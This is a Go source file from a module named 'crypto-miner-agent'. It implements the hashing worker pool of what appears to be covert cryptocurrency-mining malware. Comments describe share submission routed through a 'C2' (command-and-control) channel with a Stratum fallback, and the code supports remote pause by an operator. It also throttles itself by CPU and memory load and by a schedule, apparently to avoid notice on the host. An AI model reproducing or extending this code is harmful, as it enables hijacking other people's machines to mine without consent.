package miner import ( "encoding/hex" "log" "math/big" "sync" "sync/atomic" "time" "crypto-miner-agent/config" "crypto-miner-agent/job" "crypto-miner-agent/stats" ) type ShareHandler func(jobID, nonce, hash string) type Pool struct { threads int cfg config.RuntimeConfig reporter *stats.Reporter engines []*Engine schedule *ScheduleGuard mu sync.RWMutex currentJob *job.Job // jobGen is incremented atomically every time SetJob replaces the current job. // Workers compare their local snapshot to detect job changes inside the inner // hash loop without acquiring mu on every iteration. jobGen atomic.Uint64 stopCh chan struct{} wg sync.WaitGroup paused atomic.Bool remotePause atomic.Bool // Share handler — swappable at runtime (C2 vs Stratum fallback). handlerMu sync.RWMutex handler ShareHandler // Hashrate tracking — reset each stats tick, divided by elapsed seconds. hashesTotal atomic.Uint64 sharesFound atomic.Uint64 resetMu sync.Mutex hashesLastReset time.Time } func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool { if threads <= 0 { threads = 1 } engines := make([]*Engine, threads) for i := range engines { engines[i] = NewEngine() } return &Pool{ threads: threads, cfg: cfg, reporter: reporter, engines: engines, handler: handler, schedule: NewScheduleGuard(cfg, reporter), stopCh: make(chan struct{}), hashesLastReset: time.Now(), } } func (p *Pool) SetJob(job *job.Job) { p.mu.Lock() p.currentJob = job // Bump generation while holding the write-lock so workers that check jobGen // inside their inner batch loop break out and re-snapshot the new job. gen := p.jobGen.Add(1) _ = gen if job == nil { p.mu.Unlock() return } seed := job.SeedHash if seed == "" && len(job.Blob) >= 64 { seed = job.Blob[:64] } // Capture engines slice before releasing the lock. engines := p.engines p.mu.Unlock() // Update all engines outside the pool lock — each Engine has its own mutex. for _, engine := range engines { if err := engine.SetJob(seed, job.Blob); err != nil { log.Printf("[miner] failed to set job: %v", err) } } } func (p *Pool) Start() { for i := 0; i < p.threads; i++ { p.wg.Add(1) go p.worker(i, p.engines[i]) } go p.resourceGuard() } func (p *Pool) Stop() { close(p.stopCh) p.wg.Wait() } // HashesPerSecond returns the average hash rate since the last ResetHashCounter call. func (p *Pool) HashesPerSecond() float64 { p.resetMu.Lock() elapsed := time.Since(p.hashesLastReset).Seconds() count := float64(p.hashesTotal.Load()) p.resetMu.Unlock() if elapsed <= 0 { return 0 } return count / elapsed } // ResetHashCounter zeroes the counter and records the reset time so that // the next HashesPerSecond() call measures over the correct interval. func (p *Pool) ResetHashCounter() { p.resetMu.Lock() p.hashesTotal.Store(0) p.hashesLastReset = time.Now() p.resetMu.Unlock() } // SetShareHandler replaces the share submission callback at runtime. // Used to switch between C2-mediated submission and direct Stratum submission. func (p *Pool) SetShareHandler(fn ShareHandler) { p.handlerMu.Lock() p.handler = fn p.handlerMu.Unlock() } func (p *Pool) PauseRemote() { p.remotePause.Store(true) } func (p *Pool) ResumeRemote() { p.remotePause.Store(false) } func (p *Pool) IsRemotePaused() bool { return p.remotePause.Load() } func (p *Pool) resourceGuard() { ticker := time.NewTicker(5 * time.Second) defer ticker.Stop() for { select { case <-p.stopCh: return case <-ticker.C: p.paused.Store(!p.miningAllowed()) } } } func (p *Pool) miningAllowed() bool { if !p.resourcesOK() { return false } if p.schedule != nil && !p.schedule.Allowed() { return false } return true } func (p *Pool) resourcesOK() bool { cpuPct := p.reporter.SystemCPUPercent() if cpuPct <= 0 { cpuPct, _ = p.reporter.Usage() } if p.cfg.MaxCPUUsage > 0 && cpuPct > float64(p.cfg.MaxCPUUsage) { return false } freeMB := p.reporter.FreeMemoryMB() if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) { return false } totalMB := p.reporter.TotalMemoryMB() if totalMB > 0 && p.cfg.MaxMemoryPct > 0 { usedPct := float64(totalMB-freeMB) / float64(totalMB) * 100 if usedPct > float64(p.cfg.MaxMemoryPct) { return false } } return true } func (p *Pool) worker(id int, engine *Engine) { defer p.wg.Done() var nonce uint32 = uint32(id * 1000000) for { select { case <-p.stopCh: return default: } if p.paused.Load() || p.remotePause.Load() { time.Sleep(2 * time.Second) continue } p.mu.RLock() job := p.currentJob p.mu.RUnlock() if job == nil || job.Blob == "" { time.Sleep(500 * time.Millisecond) continue } // Snapshot the generation before the inner loop so we can detect a new // job mid-batch and break early rather than hashing 256 stale nonces. startGen := p.jobGen.Load() for batch := 0; batch < 256; batch++ { select { case <-p.stopCh: return default: } if p.paused.Load() || p.remotePause.Load() { break } // New job arrived — abandon this batch and re-snapshot immediately. if p.jobGen.Load() != startGen { break } hashHex, _, err := engine.HashAtNonce(nonce) if err != nil { log.Printf("[miner] hash error: %v", err) break } p.hashesTotal.Add(1) nonce++ target := job.Target if target == "" && job.Difficulty > 0 { target = difficultyToTargetHex(job.Difficulty) } if target != "" && hashMeetsTarget(hashHex, target) { p.sharesFound.Add(1) p.handlerMu.RLock() h := p.handler p.handlerMu.RUnlock() if h != nil { h(job.ID, uint32ToHex(nonce-1), hashHex) } } } } } func uint32ToHex(n uint32) string { b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)} return hexEncode(b) } func hexEncode(b []byte) string { const hexdigits = "0123456789abcdef" out := make([]byte, len(b)*2) for i, v := range b { out[i*2] = hexdigits[v>>4] out[i*2+1] = hexdigits[v&0x0f] } return string(out) } func difficultyToTargetHex(difficulty int64) string { if difficulty <= 0 { return "" } maxTarget := new(big.Int) maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16) target := new(big.Int).Div(maxTarget, big.NewInt(difficulty)) bytes := target.Bytes() padded := make([]byte, 32) copy(padded[32-len(bytes):], bytes) for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 { padded[i], padded[j] = padded[j], padded[i] } return hex.EncodeToString(padded) }